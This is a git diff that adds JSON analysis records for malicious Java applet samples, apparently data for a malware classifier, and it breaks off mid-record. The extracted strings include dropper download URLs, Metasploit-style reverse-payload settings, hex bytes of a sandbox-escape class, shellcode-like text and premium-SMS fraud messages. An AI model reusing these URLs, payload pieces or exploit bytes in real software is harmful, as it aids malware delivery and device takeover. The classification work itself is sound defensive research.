b/java_classification/data/malicious/0f7f7d8f09d376ac5bc334112285d404691c039c54ed286278c298b854e80b7b.results new file mode 100755 index 0000000..6b0cb37 --- /dev/null +++ b/java_classification/data/malicious/0f7f7d8f09d376ac5bc334112285d404691c039c54ed286278c298b854e80b7b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "bMlzaxj.java", "class_name": "bMlzaxj", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "", "HTECdrO"], "minor_version": 0, "const_pool_count": 159}}, "_id": "b0d10d00-f7bc-4f9c-abc5-4fece64ff849", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.577638949118237}, "constant strings": ["\\xc0\\x80\\x16\\x07 \\x16\\x10\\x06\\x01\\x1a\\x07\\n>\\x12\\x1d\\x12\\x14\\x16\\x01", "\\x19\\x12\\x05\\x12]\\x12\\x04\\x07]\\x1a\\x1e\\x12\\x14\\x16]7\\x12\\x07\\x121\\x06\\x15\\x15\\x16\\x011\\n\\x07\\x16", "\\xc0\\x80\\x16\\x076\\x1f\\x16\\x1e", "\\x1a\\x1d\\x07\\x1a\\x1d\\x07", "\\x19\\x12\\x05\\x12]\\x12\\x04\\x07]\\x1a\\x1e\\x12\\x14\\x16]7\\x12\\x07\\x121\\x06\\x15\\x15\\x16\\x01", "\\'*#6,1*\\'6", "\\x19\\x12\\x05\\x12]\\x12\\x04\\x07]\\x1a\\x1e\\x12\\x14\\x16]>\\x06\\x1f\\x07\\x1a#\\x1a\\x0b\\x16\\x1f#\\x12\\x10\\x18\\x16\\x17 \\x12\\x1e\\x03\\x1f\\x16>\\x1c\\x17\\x16\\x1f", "\\x19\\x12\\x05\\x12]\\x12\\x04\\x07]\\x1a\\x1e\\x12\\x14\\x16]!\\x12\\xc0\\x80\\x07\\x16\\x01", "\\x10\\x01\\x16\\x12\\x07\\x16$\\x01\\x1a\\x07\\x12\\x11\\x1f\\x16!\\x12\\xc0\\x80\\x07\\x16\\x01", "\\x19\\x12\\x05\\x12]\\x12\\x04\\x07]\\x1a\\x1e\\x12\\x14\\x16] \\x12\\x1e\\x03\\x1f\\x16>\\x1c\\x17\\x16\\x1f\\x19\\x12\\x05\\x12]\\x12\\x04\\x07]\\x1a\\x1e\\x12\\x14\\x16]7\\x12\\x07\\x121\\x06\\x15\\x15\\x16\\x01\\x19\\x12\\x05\\x12]\\x12\\x04\\x07]#\\x1c\\x1a\\x1d\\x07", "\\x19\\x12\\x05\\x12]\\x12\\x04\\x07]\\x1a\\x1e\\x12\\x14\\x16]:\\x1d\\x17\\x16\\x0b0\\x1c\\x1f\\x1c\\x01>\\x1c\\x17\\x16\\x1f", "\\x19\\x12\\x05\\x12]\\x12\\x04\\x07]2\\x1f\\x03\\x1b\\x120\\x1c\\x1e\\x03\\x1c\\xc0\\x80\\x1a\\x07\\x16", " \\x01\\x10", "\\x10\\x01\\x16\\x12\\x07\\x160\\x1c\\x1d\\x07\\x16\\x0b\\x07", "\\x19\\x12\\x05\\x12]\\x12\\x04\\x07]\\x1a\\x1e\\x12\\x14\\x16]0\\x1c\\x1f\\x1c\\x01>\\x1c\\x17\\x16\\x1f\\x19\\x12\\x05\\x12]\\x12\\x04\\x07]\\x1a\\x1e\\x12\\x14\\x16]0\\x1c\\x1f\\x1c\\x01>\\x1c\\x17\\x16\\x1f\\x19\\x12\\x05\\x12]\\x12\\x04\\x07]!\\x16\\x1d\\x17\\x16\\x01\\x1a\\x1d\\x14;\\x1a\\x1d\\x07\\xc0\\x80", "\\x1c\\xc0\\x80]\\x1d\\x12\\x1e\\x16", "", ">\\x12\\x10", "\\x1c\\xc0\\x80]\\x12\\x01\\x10\\x1b", "EG"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f4a1bb953a8816ae83dad7b25d72fdc18fcfcf5d", "file_name": "java_malicious/0f7f7d8f09d376ac5bc334112285d404691c039c54ed286278c298b854e80b7b", "_id": "b0d10d00-f7bc-4f9c-abc5-4fece64ff849", "score": 0, "entropy": 6.029675344649643, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4129, "ssdeep": "96:T/cHFlaEVhJ+Jm90iDYt8lAGTlhzjHkCQbM3f1enJ:T/klZJ+Jm90i0tAlh/kZbM3f1enJ", "sha256": "0f7f7d8f09d376ac5bc334112285d404691c039c54ed286278c298b854e80b7b", "md5": "a1dfb6dacc9be1d311fd8e796c9dcd17", "parent_sha256": "0f7f7d8f09d376ac5bc334112285d404691c039c54ed286278c298b854e80b7b"}} \ No newline at end of file diff --git a/java_classification/data/malicious/1004cb247ca4c740b24a709fe28880d48750cbef61e5c11eb44c174ece819eb3.results b/java_classification/data/malicious/1004cb247ca4c740b24a709fe28880d48750cbef61e5c11eb44c174ece819eb3.results new file mode 100755 index 0000000..e777de2 --- /dev/null +++ b/java_classification/data/malicious/1004cb247ca4c740b24a709fe28880d48750cbef61e5c11eb44c174ece819eb3.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Youtube.java", "class_name": "Youtube", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "startupAll", "init", "main"], "minor_version": 0, "const_pool_count": 91}}, "_id": "75a97150-082b-45d2-849e-260d85c3274b", "verbose": {"java": {"constant strings": ["TMP", "\\\\privzate.exe", "http://www.mastipak.com/ab/updating.exe"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "1f2bd3fe76829fa4a27d87d9c3ab9782b0b5f626", "file_name": "java_malicious/1004cb247ca4c740b24a709fe28880d48750cbef61e5c11eb44c174ece819eb3", "_id": "75a97150-082b-45d2-849e-260d85c3274b", "score": 0, "entropy": 5.497237902002199, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1381, "ssdeep": "24:atXMVqWyQul8HijhRhtog6G8ayIPL3hOhaPelyliv+zTiK4wFtA/3:uXMVtyFl2i9RnzIayIPL3hOhd2WeTiKG", "sha256": "1004cb247ca4c740b24a709fe28880d48750cbef61e5c11eb44c174ece819eb3", "md5": "e7b4d21775eb23e3766736df6c63ed2d", "parent_sha256": "1004cb247ca4c740b24a709fe28880d48750cbef61e5c11eb44c174ece819eb3"}} \ No newline at end of file diff --git a/java_classification/data/malicious/10311299468f1d03c2c094659e6ecc73fddc1ab6198a88ce8f81fafb4bb8fad4.results b/java_classification/data/malicious/10311299468f1d03c2c094659e6ecc73fddc1ab6198a88ce8f81fafb4bb8fad4.results new file mode 100755 index 0000000..a342cef --- /dev/null +++ b/java_classification/data/malicious/10311299468f1d03c2c094659e6ecc73fddc1ab6198a88ce8f81fafb4bb8fad4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "MidletIBO", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 47, "method_names": ["", "doExit", "startApp", "pauseApp", "destroyApp", "a", "a", "a", "exit", "sendSms", "a", "b", "a", "c", "d", "b", "c", "a", "a"], "minor_version": 0, "const_pool_count": 298}}, "_id": "28bc27d2-22da-484c-82b3-b5ef2784cdf0", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 5.499089404529579, "obfuscated_data": {"signatures": {"java": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "totalsms"}}}, "constant strings": ["", " ", " __", "-- :", "-- : ", "/data/", "16273645", "ANKHXNUD", "App", "B\\xe1\\xba\\xa1n kh\\xc3\\xb4ng th\\xe1\\xbb\\x83 \\xc4\\x91\\xc4\\x83ng k\\xc3\\xbd 2 l\\xe1\\xba\\xa7n trong m\\xe1\\xbb\\x99t l\\xe1\\xba\\xa7n m\\xe1\\xbb\\x9f \\xe1\\xbb\\xa9ng d\\xe1\\xbb\\xa5ng! Vui l\\xc3\\xb2ng tho\\xc3\\xa1t \\xe1\\xbb\\xa9ng d\\xe1\\xbb\\xa5ng v\\xc3\\xa0 \\xc4\\x91\\xc4\\x83ng k\\xc3\\xbd l\\xe1\\xba\\xa1i!", "COUND SEND SMS : ", "Info", "ClipVui", "RMS : ", "UTF-8", "SV1 JAVA", "id", "nangabc", "ok", "showAlert", "sms://", "text", "totalsms", "\\xc4\\x90\\xc4\\x83ng k\\xc3\\xbd nh\\xe1\\xba\\xadn Link truy c\\xe1\\xba\\xadp Kho d\\xe1\\xbb\\xaf li\\xe1\\xbb\\x87u T\\xe1\\xba\\xa3i mi\\xe1\\xbb\\x85n ph\\xc3\\xad Clip Vui. Link truy c\\xe1\\xba\\xadp Kho d\\xe1\\xbb\\xaf li\\xe1\\xbb\\x87u s\\xe1\\xba\\xbd \\xc4\\x91\\xc6\\xb0\\xe1\\xbb\\xa3c g\\xe1\\xbb\\xadi \\xc4\\x91\\xe1\\xba\\xbfn \\xc4\\x91i\\xe1\\xbb\\x87n tho\\xe1\\xba\\xa1i c\\xe1\\xbb\\xa7a b\\xe1\\xba\\xa1n sau khi \\xc4\\x91\\xc4\\x83ng k\\xc3\\xbd. Ph\\xc3\\xad \\xc4\\x91\\xc4\\x83ng k\\xc3\\xbd: 15.000 \\xc4\\x91\\xe1\\xbb\\x93ng/SMS/Link.", "\\xc4\\x90\\xc4\\x83ng k\\xc3\\xbd xem Clip Vui Tuy\\xe1\\xbb\\x83n ch\\xe1\\xbb\\x8dn. Ph\\xc3\\xad \\xc4\\x91\\xc4\\x83ng k\\xc3\\xbd: 15.000 VN\\xc4\\x90/l\\xe1\\xba\\xa7n."]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "4ef553e5c0c8d2b9c997fd843c55bfff8f7f33f4", "file_name": "java_malicious/10311299468f1d03c2c094659e6ecc73fddc1ab6198a88ce8f81fafb4bb8fad4", "_id": "28bc27d2-22da-484c-82b3-b5ef2784cdf0", "score": 0, "entropy": 5.925590718271471, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 6199, "ssdeep": "96:JEUqZBCWkYqJ+BKN830IN8evZOZU/KwDwvKJa8KDSnp0dl6wrpFM9NAqyLDk8h:kqWkYPc9IN3vQZU/KwsS9KDSnp2TrU65", "sha256": "10311299468f1d03c2c094659e6ecc73fddc1ab6198a88ce8f81fafb4bb8fad4", "md5": "1cd4fd1fd367d8bfefc34eb9ab90616c", "parent_sha256": "10311299468f1d03c2c094659e6ecc73fddc1ab6198a88ce8f81fafb4bb8fad4"}} \ No newline at end of file diff --git a/java_classification/data/malicious/1052f6c69d0be95474dbcf5763de4b58d205dc2537b46fc130bccbc302ee155e.results b/java_classification/data/malicious/1052f6c69d0be95474dbcf5763de4b58d205dc2537b46fc130bccbc302ee155e.results new file mode 100755 index 0000000..ad3569b --- /dev/null +++ b/java_classification/data/malicious/1052f6c69d0be95474dbcf5763de4b58d205dc2537b46fc130bccbc302ee155e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "TpXgPUYTIV/PjBMrPG", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "aad804a2-efa6-4cc1-a865-a1fd6c425f64", "verbose": {"java": {"constant strings": ["TpXgPUYTIV.PjBMrPG", ".class", "/TpXgPUYTIV.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "TpXgPUYTIV.dat", "URL", "", "https:", "TpXgPUYTIV/PjBMrPGTrustManager.class", "PjBMrPGTrustManager.class", "AESPassword", "TpXgPUYTIV/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "TpXgPUYTIV.PjBMrPGTrustManager", "useFor", "java.net.URLConnection", "TpXgPUYTIV.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "PjBMrPG -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6fd3c3131fb38a223dc97fee9e3a297938f9e8af", "file_name": "java_malicious/1052f6c69d0be95474dbcf5763de4b58d205dc2537b46fc130bccbc302ee155e", "_id": "aad804a2-efa6-4cc1-a865-a1fd6c425f64", "score": 0, "entropy": 6.150520707644021, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tM4DUBV+WmfThmMMxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrD7x:gmO1tEVMtm9yNvpvUrKYvCkgHzbDrDF", "sha256": "1052f6c69d0be95474dbcf5763de4b58d205dc2537b46fc130bccbc302ee155e", "md5": "89fbbf4348fee0963696811c71a6e807", "parent_sha256": "1052f6c69d0be95474dbcf5763de4b58d205dc2537b46fc130bccbc302ee155e"}} \ No newline at end of file diff --git a/java_classification/data/malicious/11b2e6aa1ee54dfe2010dc06c3d3cd79e99da8542e4251a6557b25e0d05c0a1c.results b/java_classification/data/malicious/11b2e6aa1ee54dfe2010dc06c3d3cd79e99da8542e4251a6557b25e0d05c0a1c.results new file mode 100755 index 0000000..1e19923 --- /dev/null +++ b/java_classification/data/malicious/11b2e6aa1ee54dfe2010dc06c3d3cd79e99da8542e4251a6557b25e0d05c0a1c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "taipans.java", "class_name": "taipans", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "start", "main"], "minor_version": 0, "const_pool_count": 118}}, "_id": "48f6fd55-4e8e-453e-b392-a122703bbbfa", "verbose": {"java": {"constant strings": ["appdata", "funtime", "\\\\rundll32.exe"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "362379a5f7fc13fbaf12a0c948e03f052fd61461", "file_name": "java_malicious/11b2e6aa1ee54dfe2010dc06c3d3cd79e99da8542e4251a6557b25e0d05c0a1c", "_id": "48f6fd55-4e8e-453e-b392-a122703bbbfa", "score": 0, "entropy": 5.602656713840692, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2023, "ssdeep": "48:85XyFlXqfSvFltWbYPL3hY8VMd6KxzSFs8yt7PCk:8AFlceD1NVMd6t/yVR", "sha256": "11b2e6aa1ee54dfe2010dc06c3d3cd79e99da8542e4251a6557b25e0d05c0a1c", "md5": "6090bbb5bc60df520ea3aecd1934b570", "parent_sha256": "11b2e6aa1ee54dfe2010dc06c3d3cd79e99da8542e4251a6557b25e0d05c0a1c"}} \ No newline at end of file diff --git a/java_classification/data/malicious/11cc14c2803b9009b7c3f0805f8a862595743aba13489b2f916b3e21719bfcae.results b/java_classification/data/malicious/11cc14c2803b9009b7c3f0805f8a862595743aba13489b2f916b3e21719bfcae.results new file mode 100755 index 0000000..abb76b8 --- /dev/null +++ b/java_classification/data/malicious/11cc14c2803b9009b7c3f0805f8a862595743aba13489b2f916b3e21719bfcae.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Exploit.java", "class_name": "exploit/Exploit", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 51, "method_names": ["", "hex2Byte", "init", "main", ""], "minor_version": 0, "const_pool_count": 178}}, "_id": "d9509308-6801-49e2-84bb-cf4999ad1b27", "verbose": {"java": {"constant strings": ["", "sun.org.mozilla.javascript.internal.Context", "sun.org.mozilla.javascript.internal.GeneratedClassLoader", "findConstructor", "findVirtual", "createClassLoader", "defineClass", "calc.exe", "CAFEBABE0000003200270A000500180A0019001A07001B0A001C001D07001E07001F0700200100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010001650100154C6A6176612F6C616E672F457863657074696F6E3B010004746869730100034C423B01000D537461636B4D61705461626C6507001F07001B01000372756E01001428294C6A6176612F6C616E672F4F626A6563743B01000A536F7572636546696C65010006422E6A6176610C000800090700210C002200230100136A6176612F6C616E672F457863657074696F6E0700240C002500260100106A6176612F6C616E672F4F626A656374010001420100276A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657201000C646F50726976696C6567656401003D284C6A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696F6E3B294C6A6176612F6C616E672F4F626A6563743B0100106A6176612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284C6A6176612F6C616E672F53656375726974794D616E616765723B295600210006000500010007000000020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB1000100040009000C00030003000B000000120004000000080004000B0009000C000D000D000C000000160002000D0000000D000E00010000000E000F001000000011000000100002FF000C00010700120001070013000001001400150001000A0000003A000200010000000C01B80004BB000559B70001B000000002000B0000000A00020000001000040011000C0000000C00010000000C000F0010000000010016000000020017"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5fb1554f974234489704930bae5407cf3ed6c280", "file_name": "java_malicious/11cc14c2803b9009b7c3f0805f8a862595743aba13489b2f916b3e21719bfcae", "_id": "d9509308-6801-49e2-84bb-cf4999ad1b27", "score": 10, "entropy": 5.792071473804104, "libmagic": "compiled Java class data, version 51.0", "file_size": 5495, "ssdeep": "96:P+5FlwKSlZyNulUibx3l5CWKsRhIZiNqzyIZYSjx4jNZN4rG9Ff6s:P+blwKSlZyNuWibx3l5CZoIUDIm04jNf", "sha256": "11cc14c2803b9009b7c3f0805f8a862595743aba13489b2f916b3e21719bfcae", "md5": "31f1ab52be9af499c4e48b90fcf79d5f", "parent_sha256": "11cc14c2803b9009b7c3f0805f8a862595743aba13489b2f916b3e21719bfcae"}} \ No newline at end of file diff --git a/java_classification/data/malicious/1235178370b8e3278c9cb8f54f13f052a50c719ae022e8ad87cc6770e013ad32.results b/java_classification/data/malicious/1235178370b8e3278c9cb8f54f13f052a50c719ae022e8ad87cc6770e013ad32.results new file mode 100755 index 0000000..f7899cc --- /dev/null +++ b/java_classification/data/malicious/1235178370b8e3278c9cb8f54f13f052a50c719ae022e8ad87cc6770e013ad32.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 86}}, "_id": "32c72178-4e83-490b-9105-fa8cfd062ab1", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IL,Pz,0L,PL,PL,Pn,pN,pN,pX,i9,kG,pC,0E,Pc,oU,4O,QF,Pc,05,PW,pL,KS,pd,LN,kP,pU,LN,Mn,kR,HQ,0O,p3,MV,le,cR,TW,sn,vz,KL,3L,K3,Xt,Hl,KL,72,Jd,Da,Ih,hL,OU,P7,pG,ph,bk,IQ,xR,Ob,N3,05,PU,8S,EP,rb,Lr,M3,dK,Or,6n,kk,XM,8p,yw,pe,PS,0N,kk,ga,WM,P7,Oe,PT,59,j7,7c,gr,gk,0W,OE,PD,5Z,ZL,KZ,OS,od,sx,IM,Qz,L5,Tw,qW,pW,pL,KI,L0,Qp,RS,cp,hW,te,QW,pu,PY,o3,fV,lB,zV,92,qp,RL,KV,bB,sg,3k,07,Ke,Pr,Uz,ZK,1S,Ki,lt,nR,EQ,hu,5a,ee,SO,sZ,Kw,xM,Yv,cK,ws,su,Tv,Ns,Ub,XR,EK,vg,3F,hU,PC,kO,zY,Qf,dT,pN,h0,ES,0T,sY,PV,0r,pc,cP,Wb,p9,os,ff,pL,Ck,H5,Pp,uw,vq,zE,QQ,Ci,oB,vT,D0,Z2,yL,Ck,rs,4S,qO,pW,JE,PS,El,tK,O3,fV,h0,Qb,vl,K1,eG,LN,kT,4W,ES,Hg,s9,eb,vN,kB,VG,PV,cL,54,sk,yc,yb,al,mg,s8,EP,3k,kt,Oo,Nd,PT,xX,r0,tf,hk,qx,Kd,MU,SI,JW,08,k9,ae,ku,Or,UK,WQ,NN,kQ,N7,TV,ck,mQ,vL,Kv,lp,Kl,Ka,Nw,lu,Sk,mL,Kc,4N,k7,sO,5l,kC,nr,yX,CX,he,PK,Ok,Ok,On,np,N6,nJ,Lz,8K,Nl,Jv,nc,N8,XM,2B,Se,ch,JM,Zq,KT,vT,Zf,OP,ps,Wb,O3,bQ,Zw,pc,Xt,4p,t0,pw,JV,O4,oP,gr,Y1,c2,OQ,yP,k4,nQ,sP,op,mV,Ob,Ip,ns,VB,OT,o2,Ds,QT,4v,NQ,xD,4r,MB,L6,O2,ND,p4,p4,sd,qV,PP,6U,bV,Pt,qW,CF,Pe,dt,24,pp,4f,Pe,iR,jU,ap,10,0P,0v,Pt,vt,p6,Qv,7E,iT,rg,CT,vW,Bt,ra,vv,TF,84,x5,aT,tq,vP,7D,yQ,vc,RS,ib,CQ,qe,2w,EU,3D,ud,p0,80,ZV,PT,qT,pT,p1,vT,pv,XP,0u,PW,pA,", "41,25,25,25,25", ",", "", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "40d733a311f2bf0c87244dc20751f98923803c48", "file_name": "java_malicious/1235178370b8e3278c9cb8f54f13f052a50c719ae022e8ad87cc6770e013ad32", "_id": "32c72178-4e83-490b-9105-fa8cfd062ab1", "score": 0, "entropy": 6.128753007014382, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3156, "ssdeep": "96:HFlP+g7dp0JeLUEAPTDE2iTULNkez1zNjWZ:llxLweLVeQ5ApnJNiZ", "sha256": "1235178370b8e3278c9cb8f54f13f052a50c719ae022e8ad87cc6770e013ad32", "md5": "7e508571908f31346c934b8dadcbc801", "parent_sha256": "1235178370b8e3278c9cb8f54f13f052a50c719ae022e8ad87cc6770e013ad32"}} \ No newline at end of file diff --git a/java_classification/data/malicious/143cfe443a0dc1029b077c79c76a3379782843c23909bf84a462f0618b8432c3.results b/java_classification/data/malicious/143cfe443a0dc1029b077c79c76a3379782843c23909bf84a462f0618b8432c3.results new file mode 100755 index 0000000..fae0199 --- /dev/null +++ b/java_classification/data/malicious/143cfe443a0dc1029b077c79c76a3379782843c23909bf84a462f0618b8432c3.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "init", "Kcn", "Vrj", "HExe", ""], "minor_version": 0, "const_pool_count": 208}}, "_id": "1ff34097-28dc-4fa3-96c1-1b8d55514d7d", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"java": "rot0"}}}, "constant strings": ["param", "java.version", "_", "1.7.0", "1.6.0", "os.arch", "", "64"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "2620d3060bf0d52ab90828e433ce20f2ba4aacd0", "file_name": "java_malicious/143cfe443a0dc1029b077c79c76a3379782843c23909bf84a462f0618b8432c3", "_id": "1ff34097-28dc-4fa3-96c1-1b8d55514d7d", "score": 0, "entropy": 5.886294509075614, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3310, "ssdeep": "48:L0se8WkCx4yK6mf8WS0A3EPFPyj/q1VaCDrbnaEPC3CiLnb+aVbDiY1D4vXyiH:SkCxJKL9SU71VhdPICVaVNSvXyiH", "sha256": "143cfe443a0dc1029b077c79c76a3379782843c23909bf84a462f0618b8432c3", "md5": "1b242f92f50eaa3dc4138c689db2071c", "parent_sha256": "143cfe443a0dc1029b077c79c76a3379782843c23909bf84a462f0618b8432c3"}} \ No newline at end of file diff --git a/java_classification/data/malicious/149163f5b1fb69e73451db479bb6800ac36a38d188e8b9c2363a48a0ef3b09c9.results b/java_classification/data/malicious/149163f5b1fb69e73451db479bb6800ac36a38d188e8b9c2363a48a0ef3b09c9.results new file mode 100755 index 0000000..175c031 --- /dev/null +++ b/java_classification/data/malicious/149163f5b1fb69e73451db479bb6800ac36a38d188e8b9c2363a48a0ef3b09c9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "RotMG.java", "class_name": "RotMG", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 51, "method_names": ["", "init", "execute", "decode", "updateCheck", ""], "minor_version": 0, "const_pool_count": 296}}, "_id": "7a4c427a-b0e9-4e48-b9ae-e4fc663b97e9", "verbose": {"java": {"constant strings": ["c2V0U2VjdXJpdHlNYW5hZ2Vy", "ZmlsZTovLy8=", "aHR0cDovL3JvdG1nLm5vb2JqLmNvbS9yb3RtZy5leGU=", "YXBwZGF0YQ==", "XHJvdG1nLmV4ZQ==", "b3MubmFtZQ==", "d2luZG93cw==", "rundll32 url.dll,FileProtocolHandler \"", "\"", "aHR0cDovL3JvdG1nLm5vb2JqLmNvbS9wbGF5LnBocA==", "_top", "aHR0cDovL3JvdG1nLm5vb2JqLmNvbS9wYW5lbC5waHA=", "?success=true&o=", "os.name", "?success=false&o=", "", "amF2YS5zZWN1cml0eS5QZXJtaXNzaW9ucw==", "amF2YS5zZWN1cml0eS5BbGxQZXJtaXNzaW9u", "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8f5cf99d07023e02983c12b17468451a8c2281c0", "file_name": "java_malicious/149163f5b1fb69e73451db479bb6800ac36a38d188e8b9c2363a48a0ef3b09c9", "_id": "7a4c427a-b0e9-4e48-b9ae-e4fc663b97e9", "score": 0, "entropy": 6.166257627669195, "libmagic": "compiled Java class data, version 51.0", "file_size": 5660, "ssdeep": "96:CaOf37GFlnVrr61y2B77az76BBG84CVnBJqhWD+d4zz+Zat7:CaOf4ll219B7FGSbqhWic+Zat7", "sha256": "149163f5b1fb69e73451db479bb6800ac36a38d188e8b9c2363a48a0ef3b09c9", "md5": "d844d536753846c7df3aeb63a9612329", "parent_sha256": "149163f5b1fb69e73451db479bb6800ac36a38d188e8b9c2363a48a0ef3b09c9"}} \ No newline at end of file diff --git a/java_classification/data/malicious/14f7afb4e9f277db7856d380641d450ad3ac9c9f6b25aa73c056d5938ab11062.results b/java_classification/data/malicious/14f7afb4e9f277db7856d380641d450ad3ac9c9f6b25aa73c056d5938ab11062.results new file mode 100755 index 0000000..231a4d7 --- /dev/null +++ b/java_classification/data/malicious/14f7afb4e9f277db7856d380641d450ad3ac9c9f6b25aa73c056d5938ab11062.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "wRvYbISXEQ/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "0dd2b711-36d2-492f-92ba-5552e3f0000d", "verbose": {"java": {"constant strings": ["wRvYbISXEQ.Payload", ".class", "/wRvYbISXEQ.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "wRvYbISXEQ.dat", "URL", "", "https:", "wRvYbISXEQ/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "wRvYbISXEQ/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "wRvYbISXEQ.PayloadTrustManager", "useFor", "java.net.URLConnection", "wRvYbISXEQ.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaaRCDiJY.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8905120477bdeae3652c8f193f8cbd4d41ccdb64", "file_name": "java_malicious/14f7afb4e9f277db7856d380641d450ad3ac9c9f6b25aa73c056d5938ab11062", "_id": "0dd2b711-36d2-492f-92ba-5552e3f0000d", "score": 0, "entropy": 6.1447064033258165, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMoDUBl+WqRdThm40xuIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1twlItmVGNvpvUrKYvCkgHzbDrDF", "sha256": "14f7afb4e9f277db7856d380641d450ad3ac9c9f6b25aa73c056d5938ab11062", "md5": "8cc56f4f6ecb96681f0cd5b699189f0f", "parent_sha256": "14f7afb4e9f277db7856d380641d450ad3ac9c9f6b25aa73c056d5938ab11062"}} \ No newline at end of file diff --git a/java_classification/data/malicious/166ef4b40cb3af2ed08e365b7bb7efacfe8167af8a4705d4b433f21c0aea2664.results b/java_classification/data/malicious/166ef4b40cb3af2ed08e365b7bb7efacfe8167af8a4705d4b433f21c0aea2664.results new file mode 100755 index 0000000..8b9c5c5 --- /dev/null +++ b/java_classification/data/malicious/166ef4b40cb3af2ed08e365b7bb7efacfe8167af8a4705d4b433f21c0aea2664.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/wjqinyfrl", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "tblcfyqytzsuzr", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "c8f1e52b-ff56-45be-8615-24f3add2f4c6", "metadata": {"mimetype": "application/x-java-applet", "sha1": "0adb6e15e4c09cb13f979af8e0fe35f9d32b9c67", "file_name": 